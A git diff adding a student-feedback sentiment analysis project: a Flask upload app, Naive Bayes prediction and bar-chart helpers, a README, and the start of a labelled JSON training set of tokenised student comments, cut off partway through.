nBEpdaf6LuxEw/EREREVEfx6CfiIiIiKiPY9BPRERERNTHMegnIiIiIurjGPQTEREREfVxDPqJiIiIiPo4Bv1ERERERH0cg34iIiIioj6OQT8RERERUR/HoJ+IiIiIqI9j0E9ERERE1Mcx6CciIiIi6uMY9BMRERER9XFCkiR/7wOEEBUAzvp5N+IBVPp5H+jixeOP/InHH/kTjz/yp754/GVIkpTgurFHBP09gRBinyRJk/29H3Rx4vFH/sTjj/yJxx/508V0/LG8h4iIiIioj2PQT0RERETUxzHod3jF3ztAFzUef+RPPP7In3j8kT9dNMcfa/qJiIiIiPo4ZvqJiIiIiPo4Bv0AhBCLhBAnhBC5QohV/t4f6nuEEPlCiMNCiGwhxD5lW6wQYrMQ4pTybz9luxBCrFGOx0NCiIn+3XvqjYQQrwkhyoUQR3TbPD7mhBC3KY8/JYS4zR8/C/UubRx7jwkhipRzYLYQYonua48qx94JIcRC3Xa+N5PHhBDpQohtQogcIcRRIcQDyvaL/vx30Qf9QohAAM8DWAxgJIAVQoiR/t0r6qMulSRpvK412CoAWyVJGgJgq3IfkI/FIcp/9wB40ed7Sn3BGwAWuWzz6JgTQsQC+AOAaQCmAviD+kZJdAFvoPWxBwD/q5wDx0uStA4AlPfb5QBGKd/zghAikO/N1AVWAA9LkjQSwHQAK5Vj56I//130QT/kP2SuJEmnJUmyAHgXwDI/7xNdHJYBeFO5/SaAq3Xb35JkuwHECCFS/LGD1HtJkvQVgGqXzZ4ecwsBbJYkqVqSpPMANsN9MEekaePYa8syAO9KkmSWJOkMgFzI78t8b6ZOkSSpRJKk/crtegDHAKSC5z8G/ZAPhALd/UJlG5E3SQA2CSG+F0Lco2xLkiSpRLldCiBJuc1jkrqLp8ccj0XypvuU8onXdBlTHnvUbYQQmQAmANgDnv8Y9BP5yGxJkiZCvoy4Ughxif6LktxGi620yGd4zJGPvQhgEIDxAEoA/N2/u0N9nRAiAsCHAH4hSVKd/msX6/mPQT9QBCBddz9N2UbkNZIkFSn/lgP4GPKl6zK1bEf5t1x5OI9J6i6eHnM8FskrJEkqkyTJJkmSHcCrkM+BAI896gZCiGDIAf9/JEn6SNl80Z//GPQDewEMEUJkCSEMkBcUfernfaI+RAgRLoSIVG8DWADgCOTjTO0GcBuAtcrtTwHcqnQUmA6gVndJkqgrPD3mNgJYIITop5RjLFC2EXnEZV3SNZDPgYB87C0XQhiFEFmQF1N+B743UycJIQSAfwE4JknSM7ovXfTnvyB/74C/SZJkFULcB/kPGQjgNUmSjvp5t6hvSQLwsXweQhCAtyVJ2iCE2AvgfSHEXQDOArheefw6AEsgL2hrAnCH73eZejshxDsA5gGIF0IUQu5CsRoeHHOSJFULIf4EOQADgMclSeroAk26SLVx7M0TQoyHXFKRD+AnACBJ0lEhxPsAciB3XVkpSZJNeR6+N1NnzAJwC4DDQohsZdtvwPMfJ/ISEREREfV1LO8hIiIiIurjGPQTEREREfVxDPqJiIiIiPo4Bv1ERERERH0cg34iIiIioj6OQT8RERERUR/HoJ+IiIiIqI9j0E9ERERE1Mf9f0yz31+ux4ebAAAAAElFTkSuQmCC", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(13,6))\n", + "\n", + "ds3=scaler.inverse_transform(ds3).tolist()\n", + "plt.plot(ds3)\n", + "\n", + "plt.show()" + ] + } + ], + "metadata": { + "colab": { + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3.9.5 64-bit", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + }, + "vscode": { + "interpreter": { + "hash": "e3b5fbd04f68e2b0d30e8aa6dfd8616d885f307650246806c8ef721be6274b54" + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/Procfile b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/Procfile new file mode 100644 index 00000000..ca6e941c --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/Procfile @@ -0,0 +1 @@ +web: gunicorn app:app diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/README.md b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/README.md new file mode 100644 index 00000000..caa46c2e --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/README.md @@ -0,0 +1,36 @@ + +## PROJECT OUTLINE +The goal of this project is to develop an automated robust feedback analysis system wherein the user has to first upload form response data in csv format, then we process and extract the data with the help of NLTK and then applying sentiment analysis using Naive Bayes algorithm to extract the opinions and subjectivity from the student feedback by classifying them into 3 different categories: +- positive +- neutral +- negative + +Nowadays, Educational Institutions are giving a lot of emphasis on maintaining Student Feedback Systems so as to understand the patterns generated by student feedback data to effectively improve the performance of the institution. There is also a requirement to automate the student feedback system in order to handle a large amount of data and analyse them effectively. + +Our feedback analysis model will thus enable the concerned authorities to understand the student’s perception and their expected level of learning materials and course content. Analysing student feedback would help institutions to enhance student’s learning capabilities in the classroom and improve the overall quality of education. + +## WEBSITE LINK +_https://get-analysis.herokuapp.com/_ + +## DEMO OF WORKING MODEL +_[Project Demo](https://drive.google.com/file/d/1hAu_Rmdu8qq6yjq8DSgD-P08EA4nTuVu/view?usp=sharing)_ + +
+ +## PROJECT WORKFLOW +![outline](images/flow.PNG) + +
+ +## RESULTS +![results](images/results.PNG) + +
+ +## WEBSITE LAYOUT +![results](images/1.png) + +![results](images/2.png) + +![results](images/3.png) + diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/app.py b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/app.py new file mode 100644 index 00000000..162157d2 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/app.py @@ -0,0 +1,287 @@ +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt +import json +import faculty +import drawFigure + + +from flask import Flask , render_template , redirect , request + +app = Flask(__name__) + + +with open('Student-Feedback-Sentiment-Analysis-main/feedback1.json') as file: + json_string = file.read() + documents1 = json.loads(json_string) + +with open('Student-Feedback-Sentiment-Analysis-main/feedback2.json') as file: + json_string = file.read() + documents2 = json.loads(json_string) + +with open('Student-Feedback-Sentiment-Analysis-main/feedback3.json') as file: + json_string = file.read() + documents3 = json.loads(json_string) + +with open('Student-Feedback-Sentiment-Analysis-main/feedback4.json') as file: + json_string = file.read() + documents4 = json.loads(json_string) + +with open('Student-Feedback-Sentiment-Analysis-main/feedback5.json') as file: + json_string = file.read() + documents5 = json.loads(json_string) + +with open('Student-Feedback-Sentiment-Analysis-main/feedback6.json') as file: + json_string = file.read() + documents6 = json.loads(json_string) + +label2category = {1: 'positive' , 0: 'neutral' , -1: 'negative'} +category2label = {cat:label for label , cat in label2category.items()} + + +categories1 = [category2label[category] for doc , category in documents1] +categories2 = [category2label[category] for doc , category in documents2] +categories3 = [category2label[category] for doc , category in documents3] +categories4 = [category2label[category] for doc , category in documents4] +categories5 = [category2label[category] for doc , category in documents5] +categories6 = [category2label[category] for doc , category in documents6] + + +corpus1 = [' '.join(document) for document , cat in documents1] +corpus2 = [' '.join(document) for document , cat in documents2] +corpus3 = [' '.join(document) for document , cat in documents3] +corpus4 = [' '.join(document) for document , cat in documents4] +corpus5 = [' '.join(document) for document , cat in documents5] +corpus6 = [' '.join(document) for document , cat in documents6] + + + +@app.route('/') +def display(): + return render_template('index.html') + + +@app.route('/' , methods=['POST']) +def caption(): + + if request.method == 'POST': + + f = request.files["file_name"] + path = "Student-Feedback-Sentiment-Analysis-main/static/Student-Feedback-Form.csv" + f.save(path) + + category_no = int(request.form['Cate']) + + df = pd.read_csv(path) + + cols1 = [] + cols2 = [] + cols3 = [] + cols4 = [] + cols5 = [] + cols6 = [] + + substring1 = ['teacher' , 'faculty' , 'feedback' , 'effectiveness' , 'teaching' , 'knowledge' , 'delivery' , 'content' , 'quality' , + 'lecture' , 'subject' , 'syllabus' , 'review' , 'assessment'] + substring2 = ['course' , 'content' , 'syllabus' , 'review' , 'evaluation' , 'curriculum' , 'syllabi' , 'contents' , 'level' , + 'difficulty' , 'lecture' , 'outline'] + substring3 = ['exam' , 'examination' , 'pattern' , 'conduct' , 'question' , 'paper' , 'level' , 'outline'] + substring4 = ['laboratory' , 'laboratories' , 'lab' , 'facility' , 'facilities' , 'review' , 'feedback' , 'rate' , 'learning' ] + substring5 = ['library' , 'facilities' , 'books' , 'availability' , 'facility' , 'material' , 'rate' , 'feedback' , 'review'] + substring6 = ['extra' , 'curricular' , 'activity' , 'activities'] + + + for i in list(df.columns): + for j in substring1: + if j.casefold() in i.casefold(): + cols1.append(df.columns.get_loc(i)) + if cols1 != []: + break + + for i in list(df.columns): + for j in substring2: + if j.casefold() in i.casefold(): + cols2.append(df.columns.get_loc(i)) + if cols2 != []: + break + + for i in list(df.columns): + for j in substring3: + if j.casefold() in i.casefold(): + cols3.append(df.columns.get_loc(i)) + if cols3 != []: + break + + for i in list(df.columns): + for j in substring4: + if j.casefold() in i.casefold(): + cols4.append(df.columns.get_loc(i)) + if cols4 != []: + break + + + for i in list(df.columns): + for j in substring5: + if j.casefold() in i.casefold(): + cols5.append(df.columns.get_loc(i)) + if cols5 != []: + break + + for i in list(df.columns): + for j in substring6: + if j.casefold() in i.casefold(): + cols6.append(df.columns.get_loc(i)) + if cols6 != []: + break + + cols = cols1+cols2+cols3+cols4+cols5+cols6 + cols = list(set(cols)) + + df_form = pd.read_csv(path , usecols = cols) + reviews = np.array(df_form) + + pos1 , n1 , neg1 = faculty.predict(corpus1 , categories1 , reviews[: , 0]) + pos2 , n2 , neg2 = faculty.predict(corpus1 , categories1 , reviews[: , 1]) + pos3 , n3 , neg3 = faculty.predict(corpus1 , categories1 , reviews[: , 2]) + pos4 , n4 , neg4 = faculty.predict(corpus1 , categories1 , reviews[: , 3]) + pos5 , n5 , neg5 = faculty.predict(corpus1 , categories1 , reviews[: , 4]) + pos6 , n6 , neg6 = faculty.predict(corpus1 , categories1 , reviews[: , 5]) + + results = { + 'f1' : 'Teacher Feedback', + 'pos1' : pos1, + 'n1' : n1, + 'neg1' : neg1, + 'f2' : 'Course Content', + 'pos2' : pos2, + 'n2' : n2, + 'neg1' : neg2, + 'f3' : 'Examination pattern', + 'pos3' : pos3, + 'n3' : n3, + 'neg3' : neg3, + 'f4' : 'Laboratory', + 'pos4' : pos4, + 'n4' : n4, + 'neg4' : neg4, + 'f5' : 'Library Facilities', + 'pos5' : pos5, + 'n5' : n5, + 'neg5' : neg5, + 'f6' : 'Extra Co-Curricular Activities', + 'pos6' : pos6, + 'n6' : n6, + 'neg6' : neg6, + } + + values = list([[pos1 , n1 , neg1], [pos2 , n2 , neg2], [pos3 , n3 , neg3], [pos4 , n4 , neg4], [pos5 , n5 , neg5], [pos6 , n6 , neg6]]) + labels = list(['Teacher Feedback', 'Course Content', 'Examination pattern','Laboratory','Library Facilities', 'Extra Co-Curricular Activities']) + + print(values[category_no-1] , labels[category_no-1] , category_no , category_no-1) + + if category_no == 1: + results_1 = { + 'f1' : 'Teacher Feedback', + 'pos1' : pos1, + 'n1' : n1, + 'neg1' : neg1 + } + + drawFigure.make(values[category_no-1] , labels[category_no-1] , category_no) + + return render_template('index1.html' , result1 = results_1 , cat = category_no) + + + elif category_no == 2: + results_2 = { + 'f2' : 'Course Content', + 'pos2' : pos2, + 'n2' : n2, + 'neg2' : neg2 + } + + drawFigure.make(values[category_no-1] , labels[category_no-1] , category_no) + + return render_template('index1.html' , result2 = results_2 , cat = category_no) + + + elif category_no == 3: + results_3 = { + 'f3' : 'Examination pattern', + 'pos3' : pos3, + 'n3' : n3, + 'neg3' : neg3 + } + + drawFigure.make(values[category_no-1] , labels[category_no-1] , category_no) + + return render_template('index1.html' , result3 = results_3 , cat = category_no) + + + elif category_no == 4: + results_4 = { + 'f4' : 'Laboratory', + 'pos4' : pos4, + 'n4' : n4, + 'neg4' : neg4 + } + + drawFigure.make(values[category_no-1] , labels[category_no-1] , category_no) + + return render_template('index1.html' , result4 = results_4 , cat = category_no) + + + elif category_no == 5: + results_5 = { + 'f5' : 'Library Facilities', + 'pos5' : pos5, + 'n5' : n5, + 'neg5' : neg5 + } + + drawFigure.make(values[category_no-1] , labels[category_no-1] , category_no) + + return render_template('index1.html' , result5 = results_5 , cat = category_no) + + + elif category_no == 6: + results_6 = { + 'f6' : 'Extra Co-Curricular Activities', + 'pos6' : pos6, + 'n6' : n6, + 'neg6' : neg6 + } + + drawFigure.make(values[category_no-1] , labels[category_no-1] , category_no) + + return render_template('index1.html' , result6 = results_6 , cat = category_no) + + + else: + for i in range(0 , 6): + fig = plt.figure(figsize=(8,8) , edgecolor='red' , linewidth=10) + plt.bar(x = ['Positive' , 'Neutral' , 'Negative'] , height = values[i] , color=['blue','gold','red']) + plt.title(labels[i], fontsize = 24, weight = 'demibold', pad = 15, fontstyle = 'italic' , family = 'cursive') + plt.xticks(rotation=0 , fontsize=16) + plt.yticks([]) + plt.xlabel('Feedback Type',fontsize = 18, labelpad=17, weight= 550 , family = 'cursive') + plt.ylabel('') + fig.subplots_adjust(bottom = 0.14) + ax = plt.gca() + ax.spines['right'].set_visible(False) + ax.spines['top'].set_visible(False) + ax.spines['left'].set_visible(False) + for p in ax.patches: + ax.annotate("%.1f%%" % (100*float(p.get_height()/sum(values[i]))), (p.get_x() + p.get_width() / 2., abs(p.get_height())), + ha='center', va='bottom', color='black', xytext=(0, 5),rotation = 'horizontal', + textcoords='offset points', fontsize = 16 , fontweight = 'medium') + plt.savefig(f'Student-Feedback-Sentiment-Analysis-main/static/plot{i+10}.jpg') + + return render_template('index1.html' , result = results) + + else: + return render_template('error.html') + + +if __name__ == '__main__': + app.run(debug=True) \ No newline at end of file diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/drawFigure.py b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/drawFigure.py new file mode 100644 index 00000000..7f64177f --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/drawFigure.py @@ -0,0 +1,30 @@ +import matplotlib.pyplot as plt +import numpy as np + + + +def make(value , label , category_no): + + fig = plt.figure(figsize=(8,8) , edgecolor='red' , linewidth=10) + + plt.bar(x = ['Positive' , 'Neutral' , 'Negative'] , height = value , color=['blue','gold','red']) + plt.title(label, fontsize = 24, weight = 'demibold', pad = 15, fontstyle = 'italic' , family = 'cursive') + plt.xticks(rotation=0 , fontsize=16) + plt.yticks([]) + plt.xlabel('Feedback Type',fontsize = 18, labelpad=17, weight= 550 , family = 'cursive') + plt.ylabel('') + + fig.subplots_adjust(bottom = 0.14) + ax = plt.gca() + ax.spines['right'].set_visible(False) + ax.spines['top'].set_visible(False) + ax.spines['left'].set_visible(False) + + for p in ax.patches: + ax.annotate("%.1f%%" % (100*float(p.get_height()/sum(value))), (p.get_x() + p.get_width() / 2., abs(p.get_height())), + ha='center', va='bottom', color='black', xytext=(0, 5),rotation = 'horizontal', + textcoords='offset points', fontsize = 16 , fontweight = 'medium') + + plt.savefig(f'./static/plot{category_no}.jpg') + + return diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/faculty.py b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/faculty.py new file mode 100644 index 00000000..2a1d77bd --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/faculty.py @@ -0,0 +1,23 @@ + +from sklearn.naive_bayes import MultinomialNB +from sklearn.feature_extraction.text import CountVectorizer + +label2category = {1: 'positive' , 0: 'neutral' , -1: 'negative'} +category2label = {cat:label for label , cat in label2category.items()} + +def predict(corpus , categories , text_array): + + cv = CountVectorizer(max_features = 1000 , ngram_range = (1,2) , max_df = 0.9) + mnb = MultinomialNB() + mnb.fit(cv.fit_transform(corpus).toarray() , categories) + + preds = [label2category[label] for label in mnb.predict(cv.transform(text_array).toarray())] + + analysis = {'positive':0 , 'neutral':0 , 'negative':0} + for label in preds: + analysis[label] += 1 + + return analysis['positive'] , analysis['neutral'] , analysis['negative'] + + + diff --git a/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback1.json b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback1.json new file mode 100644 index 00000000..71b3a180 --- /dev/null +++ b/MachineLearning Projects/Student-Feedback-Sentiment-Analysis-main/Student-Feedback-Sentiment-Analysis-main/feedback1.json @@ -0,0 +1 @@ +[[["interaction", "student", "teacher", "teachers", "come", "teach", "dull", "manner", "without", "take", "doubt"], "negative"], [["teaching", "not", "upto", "mark", "focus", "topper", "student", "hardly", "clear", "doubt", "student"], "negative"], [["teacher", "us", "instructional", "strategy", "ineffective", "inappropriate", "content"], "negative"], [["teacher", "conveys", "content", "inaccuracy", "contribute", "make", "content", "incomprehensible", "student"], "negative"], [["boring", "dull", "lecture"], "negative"], [["neither", "teacher", "clear", "doubt", "create", "interest", "subject"], "negative"], [["teaching", "poor", "doubt", "resolution", "clarification", "concept"], "negative"], [["personally", "think", "max", "teacher", "supportive", "even", "sometimes", "compensate", "mark", "assignment", "really", "headache", "want", "full", "assignment", "full", "attendance", "non", "supportive", "preacher", "topper", "end", "even", "hesitate", "give", "mark", "personally", "think", "one", "take", "feedback", "teacher", "seriously", "cause", "complaint", "teacher", "lot", "time", "action", "even", "feedback"], "negative"], [["good", "not"], "neutral"], [["teacher", "lazy", "cover", "whole", "syllabus", "time", "student", "complete", "syllabus"], "negative"], [["teachers", "content", "expert", "not", "communicate", "clearly", "not", "well", "prepared", "teachers", "not", "use", "teach", "aid", "handout", "suitable", "reference", "teach"], "negative"], [["although", "everyone", "style", "teach", "teacher", "really", "need", "improve", "style", "teach", "otherwise", "everything", "good"], "neutral"], [["teachers", "really", "informative", "supportive", "none", "complete", "syllabus", "time", "due", "suffer", "end"], "neutral"], [["criterion", "change", "faculty", "really", "pathetic"], "negative"], [["teacher", "good", "level", "teach", "still", "improve", "use", "good", "resource"], "neutral"], [["teacher", "not", "good", "give", "attention", "student"], "negative"], [["teacher", "give", "lecture", "continuously", "without", "acknowledge", "wether", "student", "understand", "not"], "negative"], [["show", "much", "anger", "egoistic", "teacher"], "negative"], [["rather", "focus", "teach", "get", "personal", "student", "silly", "thing", "quickly"], "negative"], [["teacher", "bias", "lot", "partiality", "student"], "negative"], [["monotonous", "class"], "negative"], [["bad"], "negative"], [["teach", "standard", "not", "upto", "mark", "need", "improve", "lot"], "negative"], [["teachers", "not", "adequate", "knowledge", "subject", "content", "delivery", "also", "bad"], "negative"], [["although", "explain", "concept", "clearly", "would", "much", "well", "could", "provide", "good", "note", "well"], "neutral"], [["term", "knowledge", "subject", "content", "delivery", "create", "interest", "subject", "good", "supplementary", "material", "revision", "note", "provide", "due", "suffer", "lot", "revision"], "neutral"], [["teachers", "give", "priority", "topper", "student", "tend", "ignore", "student", "never", "take", "doubt", "kind", "discrimination", "not", "acceptable"], "negative"], [["dont", "good", "grip", "subject", "dont", "behave", "well", "student", "dont", "even", "teach", "concept", "subject"], "negative"], [["lack", "effort", "engagement", "teacher"], "negative"], [["pathetic", "useless", "torture", "student", "knowledge", "field", "teach"], "negative"], [["talk", "punctuality", "really", "good", "lecture", "delivery", "somehow", "not", "appreciate", "every", "teacher", "different", "style", "teach", "lack", "knowledge", "term", "subject", "interaction", "also", "kind", "boring", "teacher", "entertain", "well", "really", "not", "want", "studio", "discipline", "really", "not", "think", "every", "student"], "negative"], [["gets", "annoyed", "little", "thing"], "negative"], [["pathetic", "teacher", "boring", "style", "teach", "come", "yell", "student"], "negative"], [["teacher", "lazy", "cover", "whole", "syllabus", "time", "student", "complete", "syllabus"], "negative"], [["teacher", "not", "punctual", "class", "tend", "skip", "class", "give", "note", "not", "always", "sufficient", "need", "imrove", "teach", "standard", "lot"], "negative"], [["teacher", "punctual", "also", "give", "practical", "knowledge", "theoretical"], "neutral"], [["teacher", "try", "complete", "syllabus", "without", "consider", "student", "understand", "not", "teacher", "give", "irrelevant", "unnecessary", "work", "even", "give", "mark", "hardwork", "say", "copy", "obviously", "content", "internet", "similar"], "negative"], [["excellent", "lecture", "deliver", "teacher", "teacher", "punctual"], "positive"], [["excellent", "teach", "methodology"], "positive"], [["teacher", "give", "information", "require", "improve", "performance"], "positive"], [["yes", "nice"], "positive"], [["good", "punctual"], "positive"], [["good"], "positive"], [["teaching", "level", "average"], "neutral"], [["good"], "positive"], [["good", "compare", "btech", "lecture", "teach", "activity"], "positive"], [["teacher", "knowledge", "subject", "syllabus", "not", "syllabus"], "negative"], [["way", "teach", "good"], "positive"], [["university", "teach", "much", "dependent", "upon", "slide", "though", "easy", "way", "teach", "still", "leave", "concept", "unclear", "otherwise", "interaction", "faculty", "good", "lecture", "delivery", "sometimes", "not", "upto", "mark", "punctuality", "fine"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["compare", "college", "university", "university", "perfect", "aspect"], "positive"], [["good"], "positive"], [["lectures", "help", "clear", "concept"], "positive"], [["talk", "punctuality", "really", "good", "lecture", "delivery", "somehow", "not", "appreciate", "every", "teacher", "different", "style", "teach", "lack", "knowledge", "term", "subject", "interaction", "also", "kind", "boring", "teacher", "entertain", "well", "really", "not", "want", "studio", "discipline", "really", "not", "think", "every", "student"], "neutral"], [["university", "good", "deliver", "proper", "lecture", "also", "interaction", "student", "descent", "sometimes", "teacher", "lack", "term", "punctuality", "overall", "university", "give", "good", "input"], "positive"], [["good"], "positive"], [["good"], "positive"], [["lecturer", "punctual", "interact", "easily"], "positive"], [["good"], "positive"], [["good"], "positive"], [["punctuality", "good", "teacher", "not", "interact", "student"], "neutral"], [["good"], "positive"], [["nice"], "positive"], [["lecture", "delivery", "not", "good"], "negative"], [["good"], "positive"], [["discipline", "punctuality", "lecture", "delivery", "good", "work", "quality", "lecture"], "positive"], [["interaction", "good", "accurate", "supplement", "material", "provide", "recommendation", "book", "poor", "change", "particular", "teacher", "month", "semester", "subject", "cause", "problem"], "neutral"], [["perfect"], "positive"], [["really", "gud"], "positive"], [["good", "teach", "management", "much", "load", "student", "work", "hour"], "neutral"], [["term", "lecture", "delivery", "good", "term", "punctuality", "also", "good", "term", "intraction", "bad", "teacher", "donot", "interact", "not", "litsn", "problms", "mean", "not", "coprate"], "negative"], [["according", "everything", "go", "well", "accordance", "interaction", "enough", "serve"], "positive"], [["good", "teach", "management", "much", "load", "student", "work", "hour"], "neutral"], [["not", "effective", "satisfactory", "term", "lecture", "delivery", "faculty"], "negative"], [["good"], "positive"], [["good"], "positive"], [["accurate"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good", "depend", "faculty"], "positive"], [["maintain", "punctuality", "good", "lecture", "delivery"], "positive"], [["average"], "neutral"], [["average"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["average"], "neutral"], [["good"], "positive"], [["quite", "good", "depend", "teacher", "experience"], "positive"], [["quite", "good", "depends", "upon", "teacher", "experience"], "positive"], [["way", "teach", "good", "time", "enough"], "positive"], [["good", "teach", "delivery"], "positive"], [["good", "teacher", "delivery", "lecture", "best", "way"], "positive"], [["good", "qualify", "teacher", "lack", "interaction", "student", "fails", "describe", "topic"], "neutral"], [["average"], "neutral"], [["good", "teach", "facility", "lecture", "give", "fruitful", "teacher", "punctual"], "positive"], [["interaction", "good", "not", "mostly", "male", "lecturer", "punctuality", "maintain", "everyone", "lecture", "delivery", "not", "peak", "quality"], "neutral"], [["thing", "good"], "positive"], [["thing", "good"], "positive"], [["activties", "good"], "positive"], [["activties", "good"], "positive"], [["good"], "positive"], [["good", "university", "serious", "concept", "practicals"], "positive"], [["lecture", "delivery", "depends", "teacher", "knowledge", "punctuality", "good"], "positive"], [["good"], "positive"], [["way", "teach", "average"], "positive"], [["not", "good"], "negative"], [["average"], "neutral"], [["good"], "positive"], [["staff", "highly", "punctual", "interactive", "encourage", "student", "participate", "class"], "positive"], [["staff", "faculty", "member", "always", "available", "interaction", "punctual", "delivery", "lecture", "improve"], "positive"], [["good", "delivery"], "positive"], [["good"], "positive"], [["university", "good", "term", "lecture", "delivery", "interaction", "punctuality"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["interaction", "satisfied", "lecture", "delivery", "good", "punctuality", "always", "time"], "positive"], [["excellent", "depends", "upon", "teacher"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [[], "positive"], [["teacher", "job", "well", "manner"], "negative"], [["teacher", "not", "well", "experienced", "interactive", "helpful", "punctual"], "positive"], [["not", "teacher", "teach", "well", "fine"], "neutral"], [["excellent"], "positive"], [["faculty", "good", "interaction", "student", "teacher", "also", "good"], "positive"], [["not", "good"], "negative"], [["good"], "positive"], [["good"], "positive"], [["faculty", "member", "not", "experienced", "time", "face", "problem", "subject", "like", "cse"], "negative"], [["good"], "positive"], [["good"], "positive"], [["everything", "good", "come", "lecture", "dont", "good", "grip", "subject", "dont", "behave", "well", "student", "dont", "even", "teach", "concept", "subject"], "negative"], [["excellent"], "positive"], [["everything", "good", "regard", "university", "lecturer", "grip", "subject", "lag", "teach"], "neutral"], [["normal"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["teach", "activity", "university", "good", "satisfied"], "positive"], [["good"], "positive"], [["everything", "good", "faculty"], "positive"], [["satisfactory"], "positive"], [["good"], "positive"], [["good"], "positive"], [["good", "not", "good", "sir", "improve", "subject"], "neutral"], [["university", "good", "also", "long", "way", "teacher", "phd", "college", "fests", "related", "academic", "curriculum", "must", "improve", "great", "extent", "must", "manage", "properly", "interaction", "good", "lecture", "delivery", "need", "lucidity", "punctuality", "top", "notch"], "neutral"], [["university", "good", "punctuality", "lecture", "delivery", "not", "good", "term", "interaction"], "positive"], [["average"], "neutral"], [["interaction", "less", "come", "lecture", "delivery", "fine", "cordination", "not", "lectueres"], "negative"], [["good"], "positive"], [["lecture", "give", "best", "teach", "student"], "positive"], [["university", "good", "term", "interaction", "teacher", "student", "not", "fair", "interact", "student", "understands", "teach", "make", "remain", "student", "understand", "topic"], "negative"], [["university", "consists", "whole", "world", "diverse", "manages", "conduct", "event", "properly", "love", "part", "university", "get", "equal", "opportunity", "respect", "field"], "positive"], [["teacher", "pretty", "interactive", "depends", "student", "gain", "much", "knowledge", "teacher", "teachers", "punctual", "helpful", "exam", "time"], "positive"], [["teach", "delivery", "good", "well", "reduce", "speed", "lecture", "delivery", "understand", "student", "well"], "neutral"], [["overall", "rating", "activity", "nice", "teach", "interaction", "student", "lecture", "good", "every", "time", "new", "fresh", "style", "deliver", "lecture", "thanks"], "positive"], [["excellent", "reduce", "speed", "teach", "understand", "student"], "neutral"], [["teach", "interaction", "student", "need", "improve", "mean", "focus", "dull", "student", "intelligents"], "neutral"], [["interaction", "good", "rest", "perfect"], "positive"], [["teacher", "good", "subject", "punctuality"], "positive"], [["everything", "would", "fine", "less", "number", "student", "btech", "cse"], "neutral"], [["good"], "positive"], [["faculty", "quite", "well", "need", "senior", "lecturer"], "neutral"], [["satisfied"], "positive"], [["well", "good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["university", "management", "extordinary", "faculty", "bad"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["good"], "positive"], [["lecture", "excellent", "not", "everyone"], "neutral"], [["good", "learn", "university"], "positive"], [["booring"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["teach", "good", "lecturer", "show", "partiality", "south", "people", "north", "people"], "neutral"], [["excellent"], "positive"], [["teach", "good", "teacher", "not", "able", "interact", "properly", "not", "able", "clear", "concept", "properly", "teacher", "punctual"], "neutral"], [["good"], "positive"], [["good"], "positive"], [["much", "satisfied", "teach", "faculty", "interms", "iteraction", "lecture", "delivery", "punctuality", "etc"], "positive"], [["show", "partiality", "north", "indian", "south", "indian"], "negative"], [["good"], "positive"], [["interaction", "satisfy", "lecture", "delivery", "good", "punctuality", "excellent"], "positive"], [["staff", "show", "partiality", "north", "indian", "south", "indian"], "negative"], [["excellent", "university", "mode", "teach", "completely", "different", "university", "india", "lecturer", "friendly", "every", "one", "interact", "like", "friend", "punctual"], "positive"], [["lecture", "delivery", "punctuality", "good", "interaction", "student", "not", "good"], "neutral"], [["punctuality", "lecture", "good", "interaction", "good"], "neutral"], [["good", "enough"], "positive"], [["university", "good", "interaction", "student", "teachers", "university", "deliver", "lecture", "effectively", "good", "punctuality", "university"], "positive"], [["good", "indeed"], "positive"], [["teaching", "excellent", "lecture", "delivery", "not", "mark", "punctuality", "good"], "positive"], [["interaction", "faculty", "good", "not", "faculty"], "neutral"], [["good", "also", "like", "teach", "style"], "positive"], [["interaction", "student", "teacher", "good", "lecture", "delivery", "fine", "punctuality", "good"], "positive"], [["not", "bad"], "positive"], [["quite", "good"], "positive"], [["good", "indeed"], 